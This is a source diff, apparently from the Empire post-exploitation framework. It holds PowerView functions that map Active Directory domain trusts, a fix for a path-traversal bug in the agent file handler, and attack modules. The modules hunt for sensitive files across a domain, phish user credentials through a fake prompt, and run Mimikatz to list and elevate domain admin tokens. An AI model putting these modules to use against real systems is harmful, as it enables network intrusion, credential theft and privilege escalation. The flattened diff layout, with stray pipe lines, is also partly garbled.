[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
function Get-NetDomainTrusts {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return all domain trusts for the current domain or
|
||||
a specified domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain whose trusts to enumerate. If not given,
|
||||
uses the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrusts
|
||||
Return domain trusts for the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrusts -Domain "test"
|
||||
Return domain trusts for the "test" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.GetAllTrustRelationships()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomainTrustsLDAP {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return all domain trusts for the current domain or
|
||||
a specified domain using LDAP queries. This is potentially
|
||||
less accurate than the Get-NetDomainTrusts function, but
|
||||
can be relayed through your current domain controller
|
||||
in cases where you can't reach a remote domain directly.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain whose trusts to enumerate. If not given,
|
||||
uses the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrustsLDAP
|
||||
Return domain trusts for the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainTrustsLDAP -Domain "test"
|
||||
Return domain trusts for the "test" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$TrustSearcher = $Null
|
||||
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if ($PrimaryDC){
|
||||
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise default to connecting to the DC for the target domain
|
||||
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
$TrustSearcher.filter = '(&(objectClass=trustedDomain))'
|
||||
$TrustSearcher.PageSize = 200
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$TrustSearcher = $Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Domain = (Get-NetDomain).Name
|
||||
$TrustSearcher = [adsisearcher]'(&(objectClass=trustedDomain))'
|
||||
$TrustSearcher.PageSize = 200
|
||||
}
|
||||
|
||||
if($TrustSearcher){
|
||||
$TrustSearcher.FindAll() | ForEach-Object {
|
||||
$props = $_.Properties
|
||||
$out = New-Object psobject
|
||||
Switch ($props.trustattributes)
|
||||
{
|
||||
4 { $attrib = "External"}
|
||||
16 { $attrib = "CrossLink"}
|
||||
32 { $attrib = "ParentChild"}
|
||||
64 { $attrib = "External"}
|
||||
68 { $attrib = "ExternalQuarantined"}
|
||||
Default { $attrib = "unknown trust attribute number: $($props.trustattributes)" }
|
||||
}
|
||||
Switch ($props.trustdirection){
|
||||
0 {$direction = "Disabled"}
|
||||
1 {$direction = "Inbound"}
|
||||
2 {$direction = "Outbound"}
|
||||
3 {$direction = "Bidirectional"}
|
||||
}
|
||||
$out | Add-Member Noteproperty 'SourceName' $domain
|
||||
$out | Add-Member Noteproperty 'TargetName' $props.name[0]
|
||||
$out | Add-Member Noteproperty 'TrustType' "$attrib"
|
||||
$out | Add-Member Noteproperty 'TrustDirection' "$direction"
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Invoke-MapDomainTrusts {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Try to map all transitive domain trust relationships.
|
||||
|
||||
.DESCRIPTION
|
||||
This function gets all trusts for the current domain,
|
||||
and tries to get all trusts for each domain it finds.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-MapDomainTrusts
|
||||
Return a "domain1,domain2,trustType,trustDirection" list
|
||||
|
||||
.LINK
|
||||
http://blog.harmj0y.net/
|
||||
#>
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$seenDomains = @{}
|
||||
|
||||
# our domain status tracker
|
||||
$domains = New-Object System.Collections.Stack
|
||||
|
||||
# get the current domain and push it onto the stack
|
||||
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
|
||||
$domains.push($currentDomain)
|
||||
|
||||
while($domains.Count -ne 0){
|
||||
|
||||
$d = $domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if (-not $seenDomains.ContainsKey($d)) {
|
||||
|
||||
# mark it as seen in our list
|
||||
$seenDomains.add($d, "") | out-null
|
||||
|
||||
try{
|
||||
# get all the trusts for this domain
|
||||
$trusts = Get-NetDomainTrusts -Domain $d
|
||||
if ($trusts){
|
||||
|
||||
# enumerate each trust found
|
||||
foreach ($trust in $trusts){
|
||||
$source = $trust.SourceName
|
||||
$target = $trust.TargetName
|
||||
$type = $trust.TrustType
|
||||
$direction = $trust.TrustDirection
|
||||
|
||||
# make sure we process the target
|
||||
$domains.push($target) | out-null
|
||||
|
||||
# build the nicely-parsable custom output object
|
||||
$out = new-object psobject
|
||||
$out | add-member Noteproperty 'SourceDomain' $source
|
||||
$out | add-member Noteproperty 'TargetDomain' $target
|
||||
$out | add-member Noteproperty 'TrustType' "$type"
|
||||
$out | add-member Noteproperty 'TrustDirection' "$direction"
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Invoke-MapDomainTrustsLDAP {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Try to map all transitive domain trust relationships
|
||||
through LDAP queries.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-MapDomainTrustsLDAP
|
||||
Return a "domain1,domain2,trustType,trustDirection" list
|
||||
|
||||
.LINK
|
||||
http://blog.harmj0y.net/
|
||||
#>
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$seenDomains = @{}
|
||||
|
||||
# our domain status tracker
|
||||
$domains = New-Object System.Collections.Stack
|
||||
|
||||
# get the current domain and push it onto the stack
|
||||
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
|
||||
$domains.push($currentDomain)
|
||||
|
||||
while($domains.Count -ne 0){
|
||||
|
||||
$d = $domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if (-not $seenDomains.ContainsKey($d)) {
|
||||
|
||||
# mark it as seen in our list
|
||||
$seenDomains.add($d, "") | out-null
|
||||
|
||||
try{
|
||||
# get all the trusts for this domain through LDAP queries
|
||||
$trusts = Get-NetDomainTrustsLDAP -Domain $d
|
||||
if ($trusts){
|
||||
|
||||
# enumerate each trust found
|
||||
foreach ($trust in $trusts){
|
||||
$source = $trust.SourceName
|
||||
$target = $trust.TargetName
|
||||
$type = $trust.TrustType
|
||||
$direction = $trust.TrustDirection
|
||||
|
||||
# make sure we process the target
|
||||
$domains.push($target) | out-null
|
||||
|
||||
# build the nicely-parsable custom output object
|
||||
$out = new-object psobject
|
||||
$out | add-member Noteproperty 'SourceDomain' $source
|
||||
$out | add-member Noteproperty 'TargetDomain' $target
|
||||
$out | add-member Noteproperty 'TrustType' $type
|
||||
$out | add-member Noteproperty 'TrustDirection' $direction
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -195,6 +195,13 @@ class Agents:
|
|||
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
|
||||
filename = parts[-1]
|
||||
|
||||
# fix for 'skywalker' exploit by @zeroSteiner
|
||||
safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID))
|
||||
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
|
||||
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents")
|
||||
dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents")
|
||||
return
|
||||
|
||||
# make the recursive directory structure if it doesn't already exist
|
||||
if not os.path.exists(savePath):
|
||||
os.makedirs(savePath)
|
||||
|
@ -210,7 +217,7 @@ class Agents:
|
|||
f.close()
|
||||
|
||||
# notify everyone that the file was downloaded
|
||||
dispatcher.send("[+] Part of file "+filename+" from "+str(sessionID)+" saved", sender="Agents")
|
||||
dispatcher.send("[+] Part of file %s from %s saved" %(filename, sessionID), sender="Agents")
|
||||
|
||||
|
||||
def save_module_file(self, sessionID, path, data):
|
||||
|
@ -227,6 +234,13 @@ class Agents:
|
|||
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
|
||||
filename = parts[-1]
|
||||
|
||||
# fix for 'skywalker' exploit by @zeroSteiner
|
||||
safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID))
|
||||
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
|
||||
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents")
|
||||
dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents")
|
||||
return
|
||||
|
||||
# make the recursive directory structure if it doesn't already exist
|
||||
if not os.path.exists(savePath):
|
||||
os.makedirs(savePath)
|
||||
|
|
|
@ -9,7 +9,7 @@ menu loops.
|
|||
"""
|
||||
|
||||
# make version for Empire
|
||||
VERSION = "1.2"
|
||||
VERSION = "1.3.0"
|
||||
|
||||
|
||||
from pydispatch import dispatcher
|
||||
|
@ -255,6 +255,9 @@ class MainMenu(cmd.Cmd):
|
|||
elif "[!] Agent" in signal and "exiting" in signal:
|
||||
print helpers.color(signal)
|
||||
|
||||
elif "WARNING" in signal or "attempted overwrite" in signal:
|
||||
print helpers.color(signal)
|
||||
|
||||
elif "on the blacklist" in signal:
|
||||
print helpers.color(signal)
|
||||
|
||||
|
|
|
@ -197,6 +197,119 @@ def strip_powershell_comments(data):
|
|||
return strippedCode
|
||||
|
||||
|
||||
# PowerView dynamic helpers
|
||||
|
||||
def get_powerview_psreflect_overhead(script):
|
||||
"""
|
||||
Helper to extract some of the psreflect overhead for PowerView.
|
||||
"""
|
||||
pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)
|
||||
|
||||
try:
|
||||
return strip_powershell_comments(pattern.findall(script)[0])
|
||||
except:
|
||||
print color("[!] Error extracting psreflect overhead from powerview.ps1 !")
|
||||
return ""
|
||||
|
||||
|
||||
def get_dependent_functions(code, functionNames):
|
||||
"""
|
||||
Helper that takes a chunk of PowerShell code and a set of function
|
||||
names and returns the unique set of function names within the script block.
|
||||
"""
|
||||
|
||||
dependentFunctions = set()
|
||||
for functionName in functionNames:
|
||||
# find all function names that aren't followed by another alpha character
|
||||
if re.search(functionName+"[^A-Za-z]+", code, re.IGNORECASE):
|
||||
dependentFunctions.add(functionName)
|
||||
|
||||
if re.search(functionName+"|\$Netapi32|\$Advapi32|\$Kernel32\$Wtsapi32", code, re.IGNORECASE):
|
||||
dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"])
|
||||
|
||||
return dependentFunctions
|
||||
|
||||
|
||||
def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=[]):
|
||||
"""
|
||||
Takes a dictionary of "[functionName] -> functionCode" and a set of functions
|
||||
to process, and recursively returns all nested functions that may be required.
|
||||
|
||||
Used to map the dependent functions for nested script dependencies like in
|
||||
PowerView.
|
||||
"""
|
||||
|
||||
if isinstance(functionsToProcess, str):
|
||||
functionsToProcess = [functionsToProcess]
|
||||
|
||||
while len(functionsToProcess) != 0:
|
||||
|
||||
# pop the next function to process off the stack
|
||||
requiredFunction = functionsToProcess.pop()
|
||||
|
||||
if requiredFunction not in resultFunctions:
|
||||
resultFunctions.append(requiredFunction)
|
||||
|
||||
# get the dependencies for the function we're currently processing
|
||||
try:
|
||||
functionDependencies = get_dependent_functions(functions[requiredFunction], functions.keys())
|
||||
except:
|
||||
functionDependencies = []
|
||||
print color("[!] Error in retrieving dependencies for function %s !" %(requiredFunction))
|
||||
|
||||
for functionDependency in functionDependencies:
|
||||
if functionDependency not in resultFunctions and functionDependency not in functionsToProcess:
|
||||
# for each function dependency, if we haven't already seen it
|
||||
# add it to the stack for processing
|
||||
functionsToProcess.append(functionDependency)
|
||||
resultFunctions.append(functionDependency)
|
||||
|
||||
resultFunctions = find_all_dependent_functions(functions, functionsToProcess, resultFunctions)
|
||||
|
||||
return resultFunctions
|
||||
|
||||
|
||||
def generate_dynamic_powershell_script(script, functionName):
|
||||
"""
|
||||
Takes a PowerShell script and a function name, generates a dictionary
|
||||
of "[functionName] -> functionCode", and recurisvely maps all
|
||||
dependent functions for the specified function name.
|
||||
|
||||
A script is returned with only the code necessary for the given
|
||||
functionName, stripped of comments and whitespace.
|
||||
|
||||
Note: for PowerView, it will also dynamically detect if psreflect
|
||||
overhead is needed and add it to the result script.
|
||||
"""
|
||||
|
||||
newScript = ""
|
||||
psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]
|
||||
|
||||
# build a mapping of functionNames -> stripped function code
|
||||
functions = {}
|
||||
pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL)
|
||||
|
||||
for match in pattern.findall(script):
|
||||
name = match[:40].split()[1]
|
||||
functions[name] = strip_powershell_comments(match)
|
||||
|
||||
# recursively enumerate all possible function dependencies and
|
||||
# start building the new result script
|
||||
functionDependencies = find_all_dependent_functions(functions, functionName)
|
||||
|
||||
for functionDependency in functionDependencies:
|
||||
try:
|
||||
newScript += functions[functionDependency] + "\n"
|
||||
except:
|
||||
print color("[!] Key error with function %s !" %(functionDependency))
|
||||
|
||||
# if any psreflect methods are needed, add in the overhead at the end
|
||||
if any(el in set(psreflect_functions) for el in functionDependencies):
|
||||
newScript += get_powerview_psreflect_overhead(script)
|
||||
|
||||
return newScript + "\n"
|
||||
|
||||
|
||||
###############################################################
|
||||
#
|
||||
# Parsers
|
||||
|
@ -232,7 +345,7 @@ def parse_credentials(data):
|
|||
return [("plaintext", domain, username, password, "", "")]
|
||||
|
||||
else:
|
||||
print helpers.color("[!] Error in parsing prompted credential output.")
|
||||
print color("[!] Error in parsing prompted credential output.")
|
||||
return None
|
||||
|
||||
else:
|
||||
|
@ -566,4 +679,3 @@ def complete_path(text, line, arg=False):
|
|||
completions.append(f+'/')
|
||||
|
||||
return completions
|
||||
|
||||
|
|
|
@ -112,10 +112,5 @@ class Module:
|
|||
elif values['Value'] and values['Value'] != '':
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
# return script
|
||||
|
||||
f = open("/tmp/t", 'w')
|
||||
f.write(script)
|
||||
f.close()
|
||||
|
||||
return ""
|
||||
|
||||
return script
|
||||
|
|
|
@ -35,23 +35,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : "Host array to enumerate.",
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : "List of hostnames/IPs to search.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : "Host filter name to query AD for, wildcards accepted.",
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShareList' : {
|
||||
'Description' : "List if \\HOST\shares to search through.",
|
||||
'Description' : "List of '\\\\HOST\shares' (on the target) to search through.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -70,6 +65,21 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LastAccessTime' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreationTime' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed in the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ExcludeHidden' : {
|
||||
'Description' : "Switch. Exclude hidden files and folders from the search results.",
|
||||
'Required' : False,
|
||||
|
@ -80,16 +90,6 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AccessDateLimit' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreateDateLimit' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : "Switch. Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
|
@ -104,6 +104,16 @@ class Module:
|
|||
'Description' : "Domain to query for machines.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchSYSVOL' : {
|
||||
'Description' : "Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : "The maximum concurrent threads to execute.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -120,8 +130,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-FileFinder.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -132,15 +144,20 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-FileFinder "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Filesearch',
|
||||
'Name': 'Find-InterestingFile',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Recurively searches a given file path for files with '
|
||||
'specified terms in their names.'),
|
||||
'Description': ('Finds sensitive files on the domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -37,10 +36,10 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Path' : {
|
||||
'Description' : "Path to search, defaults to current dir.",
|
||||
'Required' : False,
|
||||
'Description' : 'UNC/local path to recursively search.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
},
|
||||
'Terms' : {
|
||||
'Description' : "Comma-separated terms to search for (overrides defaults).",
|
||||
'Required' : False,
|
||||
|
@ -56,6 +55,21 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LastAccessTime' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreationTime' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed in the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ExcludeHidden' : {
|
||||
'Description' : "Switch. Exclude hidden files and folders from the search results.",
|
||||
'Required' : False,
|
||||
|
@ -65,28 +79,13 @@ class Module:
|
|||
'Description' : "Switch. Only returns files the current user has write access to.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AccessDateLimit' : {
|
||||
'Description' : "Only return files with a LastAccessTime greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CreateDateLimit' : {
|
||||
'Description' : "Only return files with a CreationDate greater than this date value.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FreshEXES' : {
|
||||
'Description' : "Switch. Find .EXEs accessed within the last week.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -96,8 +95,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Filesearch.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -108,9 +109,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-Filesearch "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -119,8 +121,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -7,7 +7,7 @@ class Module:
|
|||
self.info = {
|
||||
'Name': 'Invoke-Prompt',
|
||||
|
||||
'Author': ['greg.fossk', '@harmj0y'],
|
||||
'Author': ['greg.fossk', '@harmj0y', '@enigma0x3'],
|
||||
|
||||
'Description': ("Prompts the current user to enter their credentials "
|
||||
"in a forms box and returns the results."),
|
||||
|
@ -24,6 +24,7 @@ class Module:
|
|||
|
||||
'Comments': [
|
||||
'http://blog.logrhythm.com/security/do-you-trust-your-computer/'
|
||||
'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -68,7 +69,9 @@ class Module:
|
|||
|
||||
script = """
|
||||
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
|
||||
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
|
||||
# POC from greg.foss[at]owasp.org
|
||||
# @enigma0x3
|
||||
|
||||
function Invoke-Prompt {
|
||||
[CmdletBinding()]
|
||||
|
@ -115,4 +118,4 @@ Invoke-Prompt """
|
|||
else:
|
||||
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
|
||||
|
||||
return script
|
||||
return script
|
||||
|
|
|
@ -49,6 +49,11 @@ class Module:
|
|||
'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'dc' : {
|
||||
'Description' : 'Specified (fqdn) domain controller to pull replication data from.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Mimikatz Tokens',
|
||||
|
||||
'Author': ['@JosephBialek', '@gentilkiwi'],
|
||||
|
||||
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
|
||||
"to list or enumerate tokens."),
|
||||
|
||||
'Background' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://clymb3r.wordpress.com/',
|
||||
'http://blog.gentilkiwi.com'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'list' : {
|
||||
'Description' : 'Switch. List current tokens on the machine.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'elevate' : {
|
||||
'Description' : 'Switch. Elevate instead of listing tokens.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'revert' : {
|
||||
'Description' : 'Switch. Revert process token.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'admin' : {
|
||||
'Description' : 'Switch. List/elevate local admin tokens.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'domainadmin' : {
|
||||
'Description' : 'Switch. List/elevate domain admin tokens.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'user' : {
|
||||
'Description' : 'User name to list/elevate the token of.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'id' : {
|
||||
'Description' : 'Token ID to list/elevate the token of.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
listTokens = self.options['list']['Value']
|
||||
elevate = self.options['elevate']['Value']
|
||||
revert = self.options['revert']['Value']
|
||||
admin = self.options['admin']['Value']
|
||||
domainadmin = self.options['domainadmin']['Value']
|
||||
user = self.options['user']['Value']
|
||||
processid = self.options['id']['Value']
|
||||
|
||||
script = moduleCode
|
||||
|
||||
script += "Invoke-Mimikatz -Command "
|
||||
|
||||
if revert.lower() == "true":
|
||||
script += "'\"token::revert"
|
||||
else:
|
||||
if listTokens.lower() == "true":
|
||||
script += "'\"token::list"
|
||||
elif elevate.lower() == "true":
|
||||
script += "'\"token::elevate"
|
||||
else:
|
||||
print helpers.color("[!] list, elevate, or revert must be specified!")
|
||||
return ""
|
||||
|
||||
if domainadmin.lower() == "true":
|
||||
script += " /domainadmin"
|
||||
elif admin.lower() == "true":
|
||||
script += " /admin"
|
||||
elif user.lower() != "":
|
||||
script += " /user:" + str(user)
|
||||
elif processid.lower() != "":
|
||||
script += " /id:" + str(processid)
|
||||
|
||||
script += "\"';"
|
||||
# print script[-200:]
|
||||
# return ""
|
||||
return script
|
|
@ -5,24 +5,27 @@ class Module:
|
|||
